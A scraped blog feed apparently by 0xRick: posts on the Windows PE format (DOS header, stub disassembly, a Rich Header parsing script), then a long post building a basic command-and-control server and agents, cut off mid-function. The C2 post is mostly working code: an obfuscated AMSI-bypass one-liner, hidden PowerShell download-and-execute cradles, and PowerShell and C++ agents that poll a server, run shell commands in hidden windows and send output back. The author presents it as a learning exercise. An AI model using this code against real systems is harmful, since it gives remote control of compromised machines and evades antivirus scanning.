  • e_magic: This is the first member of the DOS Header, it’s a WORD so it occupies 2 bytes, it’s usually called the magic number. It has a fixed value of 0x5A4D or MZ in ASCII, and it serves as a signature that marks the file as an MS-DOS executable.
  • e_lfanew: This is the last member of the DOS header structure, it’s located at offset 0x3C into the DOS header and it holds an offset to the start of the NT headers. This member is important to the PE loader on Windows systems because it tells the loader where to look for the file header.

The following picture shows contents of the DOS header in an actual PE file using PE-bear:

As you can see, the first member of the header is the magic number with the fixed value we talked about which was 5A4D.
The last member of the header (at offset 0x3C) is given the name “File address of new exe header”, it has the value 100, we can follow to that offset and we’ll find the start of the NT headers as expected:

DOS Stub


The DOS stub is an MS-DOS program that prints an error message saying that the executable is not compatible with DOS then exits.
This is what gets executed when the program is loaded in MS-DOS, the default error message is “This program cannot be run in DOS mode.”, however this message can be changed by the user during compile time.

That’s all we need to know about the DOS stub, we don’t really care about it, but let’s take a look at what it’s doing just for fun.


To be able to disassemble the machine code of the DOS stub, I copied the code of the stub from PE-bear, then I created a new file with the stub contents using a hex editor (HxD) and gave it the name dos-stub.exe.

Stub code:

0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68
69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 
74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 
6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00

After that I used IDA to disassemble the executable, MS-DOS programs are 16-bit programs, so I chose the intel 8086 processor type and the 16-bit disassembly mode.

It’s a fairly simple program, let’s step through it line by line:

seg000:0000                 push    cs
seg000:0001                 pop     ds

First line pushes the value of cs onto the stack and the second line pops that value from the top of stack into ds. This is just a way of setting the value of the data segment to the same value as the code segment.

seg000:0002                 mov     dx, 0Eh
seg000:0005                 mov     ah, 9
seg000:0007                 int     21h             ; DOS - PRINT STRING
seg000:0007                                         ; DS:DX -> string terminated by "$"

These three lines are responsible for printing the error message, first line sets dx to the address of the string “This program cannot be run in DOS mode.” (0xe), second line sets ah to 9 and the last line invokes interrupt 21h.

Interrupt 21h is a DOS interrupt (API call) that can do a lot of things, it takes a parameter that determines what function to execute and that parameter is passed in the ah register.
We see here that the value 9 is given to the interrupt, 9 is the code of the function that prints a string to the screen, that function takes a parameter which is the address of the string to print, that parameter is passed in the dx register as we can see in the code.

Information about the DOS API can be found on wikipedia.

seg000:0009                 mov     ax, 4C01h
seg000:000C                 int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:000C                                         ; AL = exit code

The last three lines of the program are again an interrupt 21h call, this time there’s a mov instruction that puts 0X4C01 into ax, this sets al to 0x01 and ah to 0x4c.

0x4c is the function code of the function that exits with an error code, it takes the error code from al, which in this case is 1.

So in summary, all the DOS stub is doing is print the error message then exit with code 1.

Rich Header

So now we’ve seen the DOS Header and the DOS Stub, however there’s still a chunk of data we haven’t talked about lying between the DOS Stub and the start of the NT Headers.

This chunk of data is commonly referred to as the Rich Header, it’s an undocumented structure that’s only present in executables built using the Microsoft Visual Studio toolset.
This structure holds some metadata about the tools used to build the executable like their names or types and their specific versions and build numbers.

All of the resources I have read about PE files didn’t mention this structure, however when searching about the Rich Header itself I found a decent amount of resources, and that makes sense because the Rich Header is not actually a part of the PE file format structure and can be completely zeroed-out without interfering with the executable’s functionality, it’s just something that Microsoft adds to any executable built using their Visual Studio toolset.

I only know about the Rich Header because I’ve read the reports on the Olympic Destroyer malware, and for those who don’t know what Olympic Destroyer is, it’s a malware that was written and used by a threat group in an attempt to disrupt the 2018 Winter Olympics.
This piece of malware is known for having a lot of false flags that were intentionally put to cause confusion and misattribution, one of the false flags present there was a Rich Header.
The authors of the malware overwrote the original Rich Header in the malware executable with the Rich Header of another malware attributed to the Lazarus threat group to make it look like it was Lazarus.
You can check Kaspersky’s report for more information about this.

The Rich Header consists of a chunk of XORed data followed by a signature (Rich) and a 32-bit checksum value that is the XOR key.
The encrypted data consists of a DWORD signature DanS, 3 zeroed-out DWORDs for padding, then pairs of DWORDS each pair representing an entry, and each entry holds a tool name, its build number and the number of times it’s been used.
In each DWORD pair the first pair holds the type ID or the product ID in the high WORD and the build ID in the low WORD, the second pair holds the use count.

PE-bear parses the Rich Header automatically:

As you can see the DanS signature is the first thing in the structure, then there are 3 zeroed-out DWORDs and after that comes the entries.
We can also see the corresponding tools and Visual Studio versions of the product and build IDs.

As an exercise I wrote a script to parse this header myself, it’s a very simple process, all we need to do is to XOR the data, then read the entry pairs and translate them.

Rich Header data:

7E 13 87 AA 3A 72 E9 F9 3A 72 E9 F9 3A 72 E9 F9
33 0A 7A F9 30 72 E9 F9 F1 1D E8 F8 38 72 E9 F9 
F1 1D EC F8 2B 72 E9 F9 F1 1D ED F8 30 72 E9 F9 
F1 1D EA F8 39 72 E9 F9 61 1A E8 F8 3F 72 E9 F9 
3A 72 E8 F9 0A 72 E9 F9 BC 02 E0 F8 3B 72 E9 F9 
BC 02 16 F9 3B 72 E9 F9 BC 02 EB F8 3B 72 E9 F9 
52 69 63 68 3A 72 E9 F9 00 00 00 00 00 00 00 00


import textwrap

def xor(data, key):
	return bytearray( ((data[i] ^ key[i % len(key)]) for i in range(0, len(data))) )

def rev_endiannes(data):
	tmp = [data[i:i+8] for i in range(0, len(data), 8)]
	for i in range(len(tmp)):
		tmp[i] = "".join(reversed([tmp[i][x:x+2] for x in range(0, len(tmp[i]), 2)]))
	return "".join(tmp)

data = bytearray.fromhex("7E1387AA3A72E9F93A72E9F93A72E9F9330A7AF93072E9F9F11DE8F83872E9F9F11DECF82B72E9F9F11DEDF83072E9F9F11DEAF83972E9F9611AE8F83F72E9F93A72E8F90A72E9F9BC02E0F83B72E9F9BC0216F93B72E9F9BC02EBF83B72E9F9")
key  = bytearray.fromhex("3A72E9F9")

rch_hdr = (xor(data,key)).hex()
rch_hdr = textwrap.wrap(rch_hdr, 16)

for i in range(2,len(rch_hdr)):
	tmp = textwrap.wrap(rch_hdr[i], 8)
	f1 = rev_endiannes(tmp[0])
	f2 = rev_endiannes(tmp[1])
	print("{} {} : {}.{}.{}".format(f1, f2, str(int(f1[4:],16)), str(int(f1[0:4],16)), str(int(f2,16)) ))

Please note that I had to reverse the byte-order because the data was presented in little-endian.

After running the script we can see an output that’s identical to PE-bear’s interpretation, meaning that the script works fine.

Translating these values into the actual tools types and versions is a matter of collecting the values from actual Visual Studio installations.
I checked the source code of bearparser (the parser used in PE-bear) and I found comments mentioning where these values were collected from.

//list from: https://github.com/kirschju/richheader
//list based on: https://github.com/kirschju/richheader + pnx's notes

You can check the source code for yourself, it’s on hasherezade’s (PE-bear author) Github page.


In this post we talked about the first two parts of the PE file, the DOS header and the DOS stub, we looked at the members of the DOS header structure and we reversed the DOS stub program.
We also looked at the Rich Header, a structure that’s not essentially a part of the PE file format but was worth checking.

The following image summarizes what we’ve talked about in this post:

✇ 0xRick

A dive into the PE file format - PE file structure - Part 1: Overview

By: 0xRick

A dive into the PE file format - PE file structure - Part 1: Overview


The aim of this post is to provide a basic introduction to the PE file structure without talking about any details.

PE files

PE stands for Portable Executable, it’s a file format for executables used in Windows operating systems, it’s based on the COFF file format (Common Object File Format).

Not only .exe files are PE files, dynamic link libraries (.dll), Kernel modules (.srv), Control panel applications (.cpl) and many others are also PE files.

A PE file is a data structure that holds information necessary for the OS loader to be able to load that executable into memory and execute it.

Structure Overview

A typical PE file follows the structure outlined in the following figure:

If we open an executable file with PE-bear we’ll see the same thing:

DOS Header

Every PE file starts with a 64-bytes-long structure called the DOS header, it’s what makes the PE file an MS-DOS executable.

DOS Stub

After the DOS header comes the DOS stub which is a small MS-DOS 2.0 compatible executable that just prints an error message saying “This program cannot be run in DOS mode” when the program is run in DOS mode.

NT Headers

The NT Headers part contains three main parts:

  • PE signature: A 4-byte signature that identifies the file as a PE file.
  • File Header: A standard COFF File Header. It holds some information about the PE file.
  • Optional Header: The most important header of the NT Headers, its name is the Optional Header because some files like object files don’t have it, however it’s required for image files (files like .exe files). This header provides important information to the OS loader.

Section Table

The section table follows the Optional Header immediately, it is an array of Image Section Headers, there’s a section header for every section in the PE file.
Each header contains information about the section it refers to.


Sections are where the actual contents of the file are stored, these include things like data and resources that the program uses, and also the actual code of the program, there are several sections each one with its own purpose.


In this post we looked at a very basic overview of the PE file structure and talked briefly about the main parts of a PE files.
In the upcoming posts we’ll talk about each one of these parts in much more detail.

✇ 0xRick

A dive into the PE file format - Introduction

By: 0xRick

A dive into the PE file format - Introduction

What is this ?

This is going to be a series of blog posts covering PE files in depth, it’s going to include a range of different topics, mainly the structure of PE files on disk and the way PE files get mapped and loaded into memory, we’ll also discuss applying that knowledge into building proof-of-concepts like PE parsers, packers and loaders, and also proof-of-concepts for some of the memory injection techniques that require this kind of knowledge, techniques like PE injection, process hollowing, dll reflective injection etc..

Why ?

The more I got into reverse engineering or malware development the more I found that knowledge about the PE file format is absolutely essential, I already knew the basics about PE files but I never learned about them properly.

Lately I have decided to learn about PE files, so the upcoming series of posts is going to be a documentation of what I’ve learned.

These posts are not going to cover anything new, there are a lot of resources that talk about the same thing, also the techniques that are going to be covered later have been known for some time. The goal is not to present anything new, the goal is to form a better understanding of things that already exist.


If you’d like to add anything or if you found a mistake that needs correction feel free to contact me. Contact information can be found in the about page.


File structure - part 1: Overview
File structure - part 2: DOS Header, DOS Stub and Rich Header
File structure - part 3: NT Headers
File structure - part 4: Data Directories, Section Headers and Sections
File structure - part 5: PE Imports (Import Directory Table, ILT, IAT)
File structure - part 6: PE Base Relocations
File structure - lab1: Writing a PE Parser

✇ 0xRick

Building a Basic C2

By: 0xRick


It’s very common that after successful exploitation an attacker would put an agent that maintains communication with a c2 server on the compromised system, and the reason for that is very simple, having an agent that provides persistency over large periods and almost all the capabilities an attacker would need to perform lateral movement and other post-exploitation actions is better than having a reverse shell for example. There are a lot of free open source post-exploitation toolsets that provide this kind of capability, like Metasploit, Empire and many others, and even if you only play CTFs it’s most likely that you have used one of those before.

Long story short, I only had a general idea about how these tools work and I wanted to understand the internals of them, so I decided to try and build one on my own. For the last three weeks, I have been searching and coding, and I came up with a very basic implementation of a c2 server and an agent. In this blog post I’m going to explain the approaches I took to build the different pieces of the tool.

Please keep in mind that some of these approaches might not be the best and also the code might be kind of messy, If you have any suggestions for improvements feel free to contact me, I’d like to know what better approaches I could take. I also like to point out that this is not a tool to be used in real engagements, besides only doing basic actions like executing cmd and powershell, I didn’t take in consideration any opsec precautions.

This tool is still a work in progress, I finished the base but I’m still going to add more execution methods and more capabilities to the agent. After adding new features I will keep writing posts similar to this one, so that people with more experience give feedback and suggest improvements, while people with less experience learn.

You can find the tool on github.


About c2 servers / agents

As far as I know,

A basic c2 server should be able to:

  • Start and stop listeners.
  • Generate payloads.
  • Handle agents and task them to do stuff.

An agent should be able to:

  • Download and execute its tasks.
  • Send results.
  • Persist.

A listener should be able to:

  • Handle multiple agents.
  • Host files.

And all communications should be encrypted.

About the Tool

The server itself is written in python3, I wrote two agents, one in c++ and the other in powershell, listeners are http listeners.

I couldn’t come up with a nice name so I would appreciate suggestions.


Basic Info

Listeners are the core functionality of the server because they provide the way of communication between the server and the agents. I decided to use http listeners, and I used flask to create the listener application.

A Listener object is instantiated with a name, a port and an IP address to bind to:

class Listener:    

    def __init__(self, name, port, ipaddress):
        self.name       = name
        self.port       = port
        self.ipaddress  = ipaddress

Then it creates the needed directories to store files, and other data like the encryption key and agents’ data:

self.Path       = "data/listeners/{}/".format(self.name)
self.keyPath    = "{}key".format(self.Path)
self.filePath   = "{}files/".format(self.Path)
self.agentsPath = "{}agents/".format(self.Path)
if os.path.exists(self.Path) == False:

if os.path.exists(self.agentsPath) == False:

if os.path.exists(self.filePath) == False:


After that it creates a key, saves it and stores it in a variable (more on generateKey() in the encryption part):

if os.path.exists(self.keyPath) == False:
    key      = generateKey()
    self.key = key
    with open(self.keyPath, "wt") as f:
    with open(self.keyPath, "rt") as f:
        self.key = f.read()

The Flask Application

The flask application which provides all the functionality of the listener has 5 routes: /reg, /tasks/<name>, /results/<name>, /download/<name>, /sc/<name>.


/reg is responsible for handling new agents, it only accepts POST requests and it takes two parameters: name and type. name is for the hostname while type is for the agent’s type.

When it receives a new request it creates a random string of 6 uppercase letters as the new agent’s name (that name can be changed later), then it takes the hostname and the agent’s type from the request parameters. It also saves the remote address of the request which is the IP address of the compromised host.

With these information it creates a new Agent object and saves it to the agents database, and finally it responds with the generated random name so that the agent on the other side can know its name.

@self.app.route("/reg", methods=['POST'])
def registerAgent():
    name     = ''.join(choice(ascii_uppercase) for i in range(6))
    remoteip = flask.request.remote_addr
    hostname = flask.request.form.get("name")
    Type     = flask.request.form.get("type")
    success("Agent {} checked in.".format(name))
    writeToDatabase(agentsDB, Agent(name, self.name, remoteip, hostname, Type, self.key))
    return (name, 200)


/tasks/<name> is the endpoint that agents request to download their tasks, <name> is a placeholder for the agent’s name, it only accepts GET requests.

It simply checks if there are new tasks (by checking if the tasks file exists), if there are new tasks it responds with the tasks, otherwise it sends an empty response (204).

@self.app.route("/tasks/<name>", methods=['GET'])
def serveTasks(name):
    if os.path.exists("{}/{}/tasks".format(self.agentsPath, name)):
        with open("{}{}/tasks".format(self.agentsPath, name), "r") as f:
            task = f.read()
        return ('',204)


/results/<name> is the endpoint that agents request to send results, <name> is a placeholder for the agent’s name, it only accepts POST requests and it takes one parameter: result for the results.

It takes the results and sends them to a function called displayResults() (more on that function in the agent handler part), then it sends an empty response 204.

@self.app.route("/results/<name>", methods=['POST'])
def receiveResults(name):
    result = flask.request.form.get("result")
    displayResults(name, result)
    return ('',204)


/download/<name> is responsible for downloading files, <name> is a placeholder for the file name, it only accepts GET requests.

It reads the requested file from the files path and it sends it.

@self.app.route("/download/<name>", methods=['GET'])
def sendFile(name):
    f    = open("{}{}".format(self.filePath, name), "rt")
    data = f.read()
    return (data, 200)


/sc/<name> is just a wrapper around the /download/<name> endpoint for powershell scripts, it responds with a download cradle prepended with a oneliner to bypass AMSI, the oneliner downloads the original script from /download/<name> , <name> is a placeholder for the script name, it only accepts GET requests.

It takes the script name, creates a download cradle in the following format:

IEX(New-Object Net.WebClient).DownloadString('http://IP:PORT/download/SCRIPT_NAME')

and prepends that with the oneliner and responds with the full line.

@self.app.route("/sc/<name>", methods=['GET'])
def sendScript(name):
    amsi     = "sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE](\"{1}{0}\"-F'F','rE' ) ) ; ( GeT-VariaBle ( \"1Q2U\" +\"zX\" ) -VaL).\"A`ss`Embly\".\"GET`TY`Pe\"(( \"{6}{3}{1}{4}{2}{0}{5}\" -f'Util','A','Amsi','.Management.','utomation.','s','System' )).\"g`etf`iElD\"( ( \"{0}{2}{1}\" -f'amsi','d','InitFaile' ),(\"{2}{4}{0}{1}{3}\" -f 'Stat','i','NonPubli','c','c,' )).\"sE`T`VaLUE\"(${n`ULl},${t`RuE} ); "
    oneliner = "{}IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/download/{}\')".format(amsi,self.ipaddress,str(self.port),name)
    return (oneliner, 200)

Starting and Stopping

I had to start listeners in threads, however flask applications don’t provide a reliable way to stop the application once started, the only way was to kill the process, but killing threads wasn’t also so easy, so what I did was creating a Process object for the function that starts the application, and a thread that starts that process which means that terminating the process would kill the thread and stop the application.

def run(self):
    self.app.logger.disabled = True
    self.app.run(port=self.port, host=self.ipaddress)

def start(self):
    self.server = Process(target=self.run)

    cli = sys.modules['flask.cli']
    cli.show_server_banner = lambda *x: None

    self.daemon = threading.Thread(name = self.name,
                                       target = self.server.start,
                                       args = ())
    self.daemon.daemon = True

    self.isRunning = True
def stop(self):
    self.server    = None
    self.daemon    = None
    self.isRunning = False



Basic Info

As mentioned earlier, I wrote two agents, one in powershell and the other in c++. Before going through the code of each one, let me talk about what agents do.

When an agent is executed on a system, first thing it does is get the hostname of that system then send the registration request to the server (/reg as discussed earlier).

After receiving the response which contains its name it starts an infinite loop in which it keeps checking if there are any new tasks, if there are new tasks it executes them and sends the results back to the server.

After each loop it sleeps for a specified amount of time that’s controlled by the server, the default sleep time is 3 seconds.

We can represent that in pseudo code like this:

get hostname
send [hostname, type], get name

	check if there are any new tasks
	if new_tasks{
            execute tasks
    	    send results
    	do nothing
    sleep n 

So far, agents can only do two basic things, execute cmd and powershell.

PowerShell Agent

I won’t talk about the crypto functions here, I will leave that for the encryption part.

First 5 lines of the agent are just the basic variables which are the IP address, port, key, name and the time to sleep:

$ip   = "REPLACE_IP"
$port = "REPLACE_PORT"
$key  = "REPLACE_KEY"
$n    = 3
$name = ""

As mentioned earlier, It gets the hostname, sends the registration request and receives its name:

$hname = [System.Net.Dns]::GetHostName()
$type  = "p"
$regl  = ("http" + ':' + "//$ip" + ':' + "$port/reg")
$data  = @{
    name = "$hname" 
    type = "$type"
$name  = (Invoke-WebRequest -UseBasicParsing -Uri $regl -Body $data -Method 'POST').Content

Based on the received name it creates the variables for the tasks uri and the results uri:

$resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
$taskl   = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")

Then it starts the infinite loop:

for (;;){
sleep $n

Let’s take a look inside the loop, first thing it does is request new tasks, we know that if there are no new tasks the server will respond with a 204 empty response, so it checks if the response is not null or empty and based on that it decides whether to execute the task execution code block or just sleep again:

$task  = (Invoke-WebRequest -UseBasicParsing -Uri $taskl -Method 'GET').Content
    if (-Not [string]::IsNullOrEmpty($task)){

Inside the task execution code block it takes the encrypted response and decrypts it, splits it then saves the first word in a variable called flag:

$task = Decrypt $key $task
$task = $task.split()
$flag = $task[0]

If the flag was VALID it will continue, otherwise it will sleep again. This ensures that the data has been decrypted correctly.

if ($flag -eq "VALID"){

After ensuring that the data is valid, it takes the command it’s supposed to execute and the arguments:

$command = $task[1]
$args    = $task[2..$task.Length]

There are 5 valid commands, shell, powershell, rename, sleep and quit.

shell executes cmd commands, powershell executes powershell commands, rename changes the agent’s name, sleep changes the sleep time and quit just exits.

Let’s take a look at each one of them. The shell and powershell commands basically rely on the same function called shell, so let’s look at that first:

function shell($fname, $arg){
    $pinfo                        = New-Object System.Diagnostics.ProcessStartInfo
    $pinfo.FileName               = $fname
    $pinfo.RedirectStandardError  = $true
    $pinfo.RedirectStandardOutput = $true
    $pinfo.UseShellExecute        = $false
    $pinfo.Arguments              = $arg
    $p                            = New-Object System.Diagnostics.Process
    $p.StartInfo                  = $pinfo
    $p.Start() | Out-Null
    $stdout = $p.StandardOutput.ReadToEnd()
    $stderr = $p.StandardError.ReadToEnd()

    $res = "VALID $stdout`n$stderr"

It starts a new process with the given file name whether it was cmd.exe or powershell.exe and passes the given arguments, then it receives stdout and stderr and returns the result which is the VALID flag appended with stdout and stderr separated by a newline.

Now back to the shell and powershell commands, both of them call shell() with the corresponding file name, receive the output, encrypt it and send it:

if ($command -eq "shell"){
    $f    = "cmd.exe"
    $arg  = "/c "
    foreach ($a in $args){ $arg += $a + " " }

    $res  = shell $f $arg
    $res  = Encrypt $key $res
    $data = @{result = "$res"}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

    elseif ($command -eq "powershell"){
    $f    = "powershell.exe"
    $arg  = "/c "
    foreach ($a in $args){ $arg += $a + " " }

    $res  = shell $f $arg
    $res  = Encrypt $key $res
    $data = @{result = "$res"}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'


The sleep command updates the n variable then sends an empty result indicating that it completed the task:

elseif ($command -eq "sleep"){
    $n    = [int]$args[0]
    $data = @{result = ""}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

The rename command updates the name variable and updates the tasks and results uris, then it sends an empty result indicating that it completed the task:

elseif ($command -eq "rename"){
    $name    = $args[0]
    $resultl = ("http" + ':' + "//$ip" + ':' + "$port/results/$name")
    $taskl   = ("http" + ':' + "//$ip" + ':' + "$port/tasks/$name")
    $data    = @{result = ""}
    Invoke-WebRequest -UseBasicParsing -Uri $resultl -Body $data -Method 'POST'

The quit command just exits:

elseif ($command -eq "quit"){

C++ Agent

The same logic is applied in the c++ agent so I will skip the unnecessary parts and only talk about the http functions and the shell function.

Sending http requests wasn’t as easy as it was in powershell, I used the winhttp library and with the help of the Microsoft documentation I created two functions, one for sending GET requests and the other for sending POST requests. And they’re almost the same function so I guess I will rewrite them to be one function later.

std::string Get(std::string ip, unsigned int port, std::string uri)
    std::wstring sip     = get_utf16(ip, CP_UTF8);
    std::wstring suri    = get_utf16(uri, CP_UTF8);

    std::string response;

    LPSTR pszOutBuffer;

    DWORD dwSize       = 0;
    DWORD dwDownloaded = 0;
    BOOL  bResults     = FALSE;
    HINTERNET hSession = NULL,
              hConnect = NULL,
              hRequest = NULL;

    hSession = WinHttpOpen(L"test",

    if (hSession) {

        hConnect = WinHttpConnect(hSession,

    if (hConnect) {

        hRequest = WinHttpOpenRequest(hConnect,
                                      L"GET", suri.c_str(),

    if (hRequest) {

        bResults = WinHttpSendRequest(hRequest,

    if (bResults) {

        bResults = WinHttpReceiveResponse(hRequest, NULL);

    if (bResults)
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
                dwSize = 0;
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
                else {
                    response = response + std::string(pszOutBuffer);
                    delete[] pszOutBuffer;
        } while (dwSize > 0);

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return response;

std::string Post(std::string ip, unsigned int port, std::string uri, std::string dat)
    LPSTR data     = const_cast<char*>(dat.c_str());;
    DWORD data_len = strlen(data);

    LPCWSTR additionalHeaders = L"Content-Type: application/x-www-form-urlencoded\r\n";
    DWORD headersLength       = -1;

    std::wstring sip     = get_utf16(ip, CP_UTF8);
    std::wstring suri    = get_utf16(uri, CP_UTF8);

    std::string response;

    LPSTR pszOutBuffer;

    DWORD dwSize       = 0;
    DWORD dwDownloaded = 0;
    BOOL  bResults     = FALSE;
    HINTERNET hSession = NULL,
              hConnect = NULL,
              hRequest = NULL;

    hSession = WinHttpOpen(L"test",

    if (hSession) {

        hConnect = WinHttpConnect(hSession,

    if (hConnect) {

        hRequest = WinHttpOpenRequest(hConnect,
                                      L"POST", suri.c_str(),

    if (hRequest) {

        bResults = WinHttpSendRequest(hRequest,

    if (bResults) {

        bResults = WinHttpReceiveResponse(hRequest, NULL);

    if (bResults)
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize)){}

            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
                dwSize = 0;
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer, dwSize, &dwDownloaded)) {}
                else {
                    response = response + std::string(pszOutBuffer);
                    delete[] pszOutBuffer;
        } while (dwSize > 0);

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);
    if (hSession) WinHttpCloseHandle(hSession);

    return response;


The shell function does the almost the same thing as the shell function in the other agent, some of the code is taken from Stack Overflow and I edited it:

CStringA shell(const wchar_t* cmd)
    CStringA result;
    HANDLE hPipeRead, hPipeWrite;

    saAttr.bInheritHandle = TRUE; 
    saAttr.lpSecurityDescriptor = NULL;

    if (!CreatePipe(&hPipeRead, &hPipeWrite, &saAttr, 0))
        return result;

    si.hStdOutput  = hPipeWrite;
    si.hStdError   = hPipeWrite;
    si.wShowWindow = SW_HIDE; 


    BOOL fSuccess = CreateProcessW(NULL, (LPWSTR)cmd, NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
    if (! fSuccess)
        return result;

    bool bProcessEnded = false;
    for (; !bProcessEnded ;)
        bProcessEnded = WaitForSingleObject( pi.hProcess, 50) == WAIT_OBJECT_0;

        for (;;)
            char buf[1024];
            DWORD dwRead = 0;
            DWORD dwAvail = 0;

            if (!::PeekNamedPipe(hPipeRead, NULL, 0, NULL, &dwAvail, NULL))

            if (!dwAvail)

            if (!::ReadFile(hPipeRead, buf, min(sizeof(buf) - 1, dwAvail), &dwRead, NULL) || !dwRead)

            buf[dwRead] = 0;
            result += buf;

    return result;

I would like to point out an important option in the process created by the shell function which is:

si.wShowWindow = SW_HIDE; 

This is responsible for hiding the console window, this is also added in the main() function of the agent to hide the console window:

int main(int argc, char const *argv[]) 

    ShowWindow(GetConsoleWindow(), SW_HIDE);

Agent Handler

Now that we’ve talked about the agents, let’s go back to the server and take a look at the agent handler.

An Agent object is instantiated with a name, a listener name, a remote address, a hostname, a type and an encryption key:

class Agent:

    def __init__(self, name, listener, remoteip, hostname, Type, key):

        self.name      = name
        self.listener  = listener
        self.remoteip  = remoteip
        self.hostname  = hostname
        self.Type      = Type
        self.key       = key

Then it defines the sleep time which is 3 seconds by default as discussed, it needs to keep track of the sleep time to be able to determine if an agent is dead or not when removing an agent, otherwise it will keep waiting for the agent to call forever:

self.sleept    = 3

After that it creates the needed directories and files:

self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
self.tasksPath = "{}tasks".format(self.Path, self.name)

if os.path.exists(self.Path) == False:

And finally it creates the menu for the agent, but I won’t cover the Menu class in this post because it doesn’t relate to the core functionality of the tool.

self.menu = menu.Menu(self.name)
self.menu.registerCommand("shell", "Execute a shell command.", "<command>")
self.menu.registerCommand("powershell", "Execute a powershell command.", "<command>")
self.menu.registerCommand("sleep", "Change agent's sleep time.", "<time (s)>")
self.menu.registerCommand("clear", "Clear tasks.", "")
self.menu.registerCommand("quit", "Task agent to quit.", "")


self.Commands = self.menu.Commands

I won’t talk about the wrapper functions because we only care about the core functions.

First function is the writeTask() function, which is a quite simple function, it takes the task and prepends it with the VALID flag then it writes it to the tasks path:

def writeTask(self, task):
    if self.Type == "p":
        task = "VALID " + task
        task = ENCRYPT(task, self.key)
    elif self.Type == "w":
        task = task
    with open(self.tasksPath, "w") as f:

As you can see, it only encrypts the task in case of powershell agent only, that’s because there’s no encryption in the c++ agent (more on that in the encryption part).

Second function I want to talk about is the clearTasks() function which just deletes the tasks file, very simple:

def clearTasks(self):
    if os.path.exists(self.tasksPath):

Third function is a very important function called update(), this function gets called when an agent is renamed and it updates the paths. As seen earlier, the paths depend on the agent’s name, so without calling this function the agent won’t be able to download its tasks.

def update(self):
    self.menu.name = self.name
    self.Path      = "data/listeners/{}/agents/{}/".format(self.listener, self.name)
    self.tasksPath = "{}tasks".format(self.Path, self.name)
    if os.path.exists(self.Path) == False:

The remaining functions are wrappers that rely on these functions or helper functions that rely on the wrappers. One example is the shell function which just takes the command and writes the task:

def shell(self, args):
    if len(args) == 0:
        error("Missing command.")
        command = " ".join(args)
        task    = "shell " + command

The last function I want to talk about is a helper function called displayResults which takes the sent results and the agent name. If the agent is a powershell agent it decrypts the results and checks their validity then prints them, otherwise it will just print the results:

def displayResults(name, result):

    if isValidAgent(name,0) == True:

        if result == "":
            success("Agent {} completed task.".format(name))
            key = agents[name].key
            if agents[name].Type == "p":

                    plaintext = DECRYPT(result, key)
                    return 0
                if plaintext[:5] == "VALID":
                    success("Agent {} returned results:".format(name))
                    return 0
                success("Agent {} returned results:".format(name))

Payloads Generator

Any c2 server would be able to generate payloads for active listeners, as seen earlier in the agents part, we only need to change the IP address, port and key in the agent template, or just the IP address and port in case of the c++ agent.


Doing this with the powershell agent is simple because a powershell script is just a text file so we just need to replace the strings REPLACE_IP, REPLACE_PORT and REPLACE_KEY.

The powershell function takes a listener name, and an output name. It grabs the needed options from the listener then it replaces the needed strings in the powershell template and saves the new file in two places, /tmp/ and the files path for the listener. After doing that it generates a download cradle that requests /sc/ (the endpoint discussed in the listeners part).

def powershell(listener, outputname):
    outpath = "/tmp/{}".format(outputname)
    ip      = listeners[listener].ipaddress
    port    = listeners[listener].port
    key     = listeners[listener].key

    with open("./lib/templates/powershell.ps1", "rt") as p:
        payload = p.read()

    payload = payload.replace('REPLACE_IP',ip)
    payload = payload.replace('REPLACE_PORT',str(port))
    payload = payload.replace('REPLACE_KEY', key)

    with open(outpath, "wt") as f:
    with open("{}{}".format(listeners[listener].filePath, outputname), "wt") as f:

    oneliner = "powershell.exe -nop -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString(\'http://{}:{}/sc/{}\')\"".format(ip, str(port), outputname)

    success("File saved in: {}".format(outpath))
    success("One liner: {}".format(oneliner))

Windows Executable (C++ Agent)

It wasn’t as easy as it was with the powershell agent, because the c++ agent would be a compiled PE executable.

It was a huge problem and I spent a lot of time trying to figure out what to do, that was when I was introduced to the idea of a stub.

The idea is to append whatever data that needs to be dynamically assigned to the executable, and design the program in a way that it reads itself and pulls out the appended information.

In the source of the agent I added a few lines of code that do the following:

  • Open the file as a file stream.
  • Move to the end of the file.
  • Read 2 lines.
  • Save the first line in the IP variable.
  • Save the second line in the port variable.
  • Close the file stream.
std::ifstream ifs(argv[0]);
std::getline(ifs, ip);
std::getline(ifs, sPort);


To get the right EOF I had to compile the agent first, then update the agent source and compile again according to the size of the file.

For example this is the current definition of TEMPLATE_EOF for the x64 agent:

#define TEMPLATE_EOF 52736

If we take a look at the size of the file we’ll find that it’s the same:

# ls -la
-rwxrwxr-x 1 ... ... 52736 ... ... ... winexe64.exe

The winexe function takes a listener name, an architecture and an output name, grabs the needed options from the listener and appends them to the template corresponding to the selected architecture and saves the new file in /tmp:

def winexe(listener, arch, outputname):

    outpath = "/tmp/{}".format(outputname)
    ip      = listeners[listener].ipaddress
    port    = listeners[listener].port
